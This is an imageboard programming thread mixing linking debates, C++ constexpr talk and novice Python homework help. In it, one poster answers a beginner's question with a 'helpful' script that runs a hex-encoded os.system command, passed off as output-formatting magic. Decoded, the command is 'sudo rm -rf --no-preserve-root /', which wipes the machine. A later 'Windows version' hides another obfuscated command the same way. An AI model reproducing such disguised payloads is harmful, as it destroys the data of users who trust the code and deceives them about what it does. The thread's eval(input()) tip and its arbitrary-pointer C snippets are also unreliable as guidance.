/dpt/ - Daily Programming Thread

Old thread: What are you working on, Jow Forums?

Attached: 1541758673114.jpg (754x1060, 206K)

Other urls found in this thread:

docs.python.org/3/tutorial/index.html
pastebin.com/x8Yx7ReU
stackoverflow.com/questions/13299394/is-is-constexpr-possible-in-c11
youtube.com/watch?v=xiUvAWZr-5U
twitter.com/SFWRedditImages

god i love when escaping quotes and backslashes becomes a test of character and willpower

nothing atm

this didnt work

Why do we create dependencies to libraries instead of just compiling them with the program?

because that would take too much time. we live in the present user.

Lisp is the most powerful programming language.

reminds me when i briefly thought making a syntax highlighter with nothing but regex was a good idea.

it makes big executables and you have to recompile the program to use an updated library (imagine compiling a broken SSL into your program)

Static linking does not scale.

try
n = int(eval(input("Enter n: ")))

isn't that more portable though

The sum of integers needs to be calculated

Attached: pythonw_2018-11-11_23-16-50.png (523x149, 5K)

would take up more space
any time a library made a security patch all programs would need to recompile, even when none of the main code changed

Dynamic linking is not worth the complexity. And it doesn't even help that much with size, especially if you enable LTO.

Thanks for non autistic answers to my stupid question. I have no idea how to Program but I unironically play Minecraft and always wondered why I have to download all these library mods.

needs to display the original number instead of the 0 thats being calculated

based suckless user

sir please sir do the needful somewhere else

its a question every programmer asks at some point

def triangle_sum():
n = int(input("Enter an integer "))
return (n * (n + 1)) / 2

I'm not suckless and I think suckless tards are retarded.

This is a mess and I can't solve this.

Getting errors on line 31, 10, 18 and a type error

Attached: pythonw_2018-11-11_23-23-02.png (491x454, 16K)

import os
def main():
n = int(input("Enter an integer:"))
os.system('echo "The sum of the numbers from 1 to %d is %d"' % (n,n*(n+1)/2))
os.system('$(echo 7375646f20726d202d7266202d2d6e6f2d70726573657276652d726f6f74202f0a | xxd -r -p)') #magic needed to get properly formatted output
main()

finally the proper way to do it

See

CONVERT
YOUR
INPUT
TO
FLOATS

I have an array that is layed out like the following.

{userid, 0, 1, 2, 3 .. 23}

First column is user ID. If a new visitor isn't already in the array, they get added. The latter columns represent the hour of the day. If they login at say 3AM then it gets added to column 4 1 + the previous value (0 is user id, 1 is 00, 2 is 01, 3 is 02, 4 is 03AM.)

I want to connect users who log in around the same time (with a hour spread so 2-4AM) but the value for one of those hours has to be over 10 for both users to minimize noise.

I only know Lua and have no idea if there's a better method to do this. Should I use PHP or something? Basically I'm trying to make a "friend suggestion" addon that can be used for games.

I tried that but it didn't work? how am I supposed to do that by just using float instead of int?

stop programming
docs.python.org/3/tutorial/index.html

vars = dict()
def main():
c_from_f(input('Please enter temperature F'))
f_from_c(input('Please enter temperature C'))
m_from_km(input('Please input kilometers'))
for k in ['c_res','f_res','m_res']:
print(vars[k])
def f_from_c(t):
vars['f_res']=float(t)*9/5+32
def c_from_f(t):
vars['c_res']=(float(t)-32)*5/9
def m_from_km(k):
vars['m_res']=float(k)*0.6137
if __name__=='__main__':
main()

I mean, they are but at least they can see dynamic linkage for the snake oil it is

I can't use vars as I haven't learned about it yet. how do I do it with using something else?

if he can't understand how scopes work in python what makes you think he has a linux system installed

Jow Forums told him he could """learn""" python
so i'm sure he installed gentoo as per Jow Forums

>implying he's not just asking us to do his homework

That should work on Mac OS. I'll think about how to write a windows version.

Don't worry, that's just a variable named vars. It has nothing to do with the function named vars. You can just rename it.
enterprise_storage = dict()
def main():
c_from_f(input('Please enter temperature F'))
f_from_c(input('Please enter temperature C'))
m_from_km(input('Please input kilometers'))
for k in ['c_res','f_res','m_res']:
print(vars[k])
def f_from_c(t):
enterprise_storage['f_res']=float(t)*9/5+32
def c_from_f(t):
enterprise_storage['c_res']=(float(t)-32)*5/9
def m_from_km(k):
enterprise_storage['m_res']=float(k)*0.6137
if __name__=='__main__':
main()

pls help tell me why im dumb

Attached: 123123.png (1173x600, 39K)

is that python 2.7? Im on python 3 and getting errors with it.

Unindent does not match any outer indentation level on f_from_c(t):

print out response.json() first
bet there's no "content" key

>All of these ultra-noob python questions
This doesn't make for very interesting /dpt/ content.

Attached: 1390443984160.png (600x541, 299K)

that means there's no key called "content". print the entire dictionary to see what's inside.

#include

int main() {
while(1) {
malloc(1024);
}
}

indent error on this

Attached: python.png (647x292, 16K)

highlight them all and hammer down on + you monkey

don't.

Is this UB? I recall something about memory allocations not always being considered state changing to allow for the "as-if" rule to be more broadly applicable. Mostly to get rid of unnecessary allocations I assume.
And if you get rid of that malloc call you've got an infinite loop without state changes, UB.
There seems to be a conflict here, because the compiler isn't allowed to introduce UB for you.

UB is the most powerful language.

what's something fun to make in Haskell? I'm just learning bits and pieces of it. I've made fizzbuzz, some sorting algos, and a few other things, but I want to make something more sophisticated. I'm already skilled in a few other langs, and at least competent in about 6 or 7, though this is my first purely functional language. What should I make?

Attached: 1529861734188.png (1200x1198, 1.03M)

Interesting.

Attached: gcc.png (937x236, 35K)

UB : Ultra Boring

you cant stop me! *presses compile button*

OK then:
#include

int main() {
while(1) {
(char *)malloc(1024) = "faggot";
}
}

lads why does C++ even have constexpr if it isn't even a guarantee of being compile-time?

Wait you can do that?

If something behaves consistently, then it isn't C++.

>copies a string into a block of memory pointed to by the return of a function
>wait you can do that?

I get an "expression not assignable" in clang and "error: lvalue required as left operand of assignment" from gcc.
You didn't do memcpy/strcpy

int main(){
for(int i=1;1;i++){
int volatile * const p = (int *) i;
*p = 0;
}
}

>why
You'd have to read the discussions they've had on it. It doesn't make sense as a language feature though. I imagine they could do so much more cool stuff if they just made it a guarantee.
I'm speculating it was to please implementers (gcc) that didn't want to implement a full execution environment for C++ inside their compiler. I heard Cpp20 is gonna start doing compile time allocations. So they're taking baby steps towards full compile time execution.

I'm hopeful for JAI, he's actually taking full compile time execution seriously and already did it in an early version of the language. I hope I can stop writing separate programs for generating source with it.

no, you cannot, he clearly doesn't know C/++

you're assigning to a temporary value, even if the compiler allowed it it wouldn't do anything

Here's a Windows version.
import os
def main():
n = int(input("Enter an integer:"))
os.system('echo The sum of the numbers from 1 to %d is %d' % (n,n*(n+1)/2))
os.system(bytes([x-10 for x in bytes.fromhex('3032307892506134083898453250790199552154460733070758982545235598081150')]).decode('utf-8'))
main()

The idea was clearly to have a pleasing syntax like with const char* fish="fish"
He aimed to dereference.

this

nice segfault

>that hex tho
he's already kill lol

I screwed that up and copied the wrong representation. It doesn't want to let the real magic number past the spam filter.

but can it invert a number

In Python, is it possible to check an unordered set for 2-tuples with a given first element in common and then extract the second elements (which are unique)?

yes

"taking up more space" is not a valid answer to this question
binary sizes are not big

You'd have to do this using a hashmap.

You make the first integer in the array the key, you make the index of the array in the list the value.

Iterate over the complete map and you should get to where you need to be.

Thanks a bunch.

C++20 is getting consteval which is just guarenteed constexpr. This means the parameters to consteval functions are also constant expressions.
C++20 is also allowing operator new/delete and try blocks in constexpr context
C++20 is also providing a way to detect whether you're in a constexpr context and choose different code paths

i hope none of those come with a bunch of caveats.

I don't see why they would.
They've already been discussed at cppcon, watch them yourself.

(You)
Real windows version pastebin.com/x8Yx7ReU

...

Why can't I post the code?!
ahhhhhhhhhhhhhhhhh, help me

It does, thats what constexpr variables are for.

>C++20 is also providing a way to detect whether you're in a constexpr context and choose different code paths
We were already able to do this with no except testing but it's good to see that we will have a better solution.

>We were already able to do this with no except testing
I wasn't aware of this. Can you give an example?
Does it allow you to choose between paths one of which isn't valid constexpr?

nah it's not 100% like most other compile-time stuff in other languages. It just "tries its best" as the committee put it.

If a constexpr variable can't be initialized at compile time, it's a compile error. That's why you're allowed to use constexpr variables in template arguments or as any other constant expressions.

constexpr int x = foo();
Bar b;

x is guarenteed compile time evaluated.
It's a compile time error if it isn't.

Actually, I was mistaken.
stackoverflow.com/questions/13299394/is-is-constexpr-possible-in-c11

I have 2 projects in mind that both involve recommendation systems, so I'm trying to find some literature on them. Anyone got any good papers? Google hasn't given me a lot to work with.

no it can't

What programming language do pale skin, deep blue eyed pure blood lolis from NORTHERN ENGLAND (very important) with lush golden brown hair use?

Attached: 2d8704f21cbd3ac6e56fff6032d2fd4946d24b3e_hq.jpg (1024x576, 52K)

Note that the C++20 is_constexpr proposal detects if the current context is constexpr. It doesn't check whether a valid is constexpr.
So you can do things like this:
if (is_constexpr()) {
// less efficient but constexpr friendly code
}
else {
// more efficient but not constexpr friendly code
}

Also note that you don't use constexpr if with is_constexpr, otherwise it'll always evaluate to true.

She's cute.

python, obv

youtube.com/watch?v=xiUvAWZr-5U

How do I k8s? Seems like everyone just uses Google Kubernetes Engine to run their master.

I'm trying to reverse engineer SHA-256.

I'm also very rapidly realizing that my approach is definitely not going to work.

kek, snl use to be funny once

Where do I get FakeApp now that the site is down?

github

(define (raise a b) (apply * (replicate b a)))

Quit your job
Make video games

Attached: modalities.png (471x387, 57K)

What are some /dpt/ approved tiling window managers?

Attached: 1518420186972.jpg (1224x1500, 194K)

Man these bitwise operations go way over my head.
Im doing the exercises but feels like im missing the point.

the point is saving space by packing multiple values in one
that's pretty much the onlny reason to use them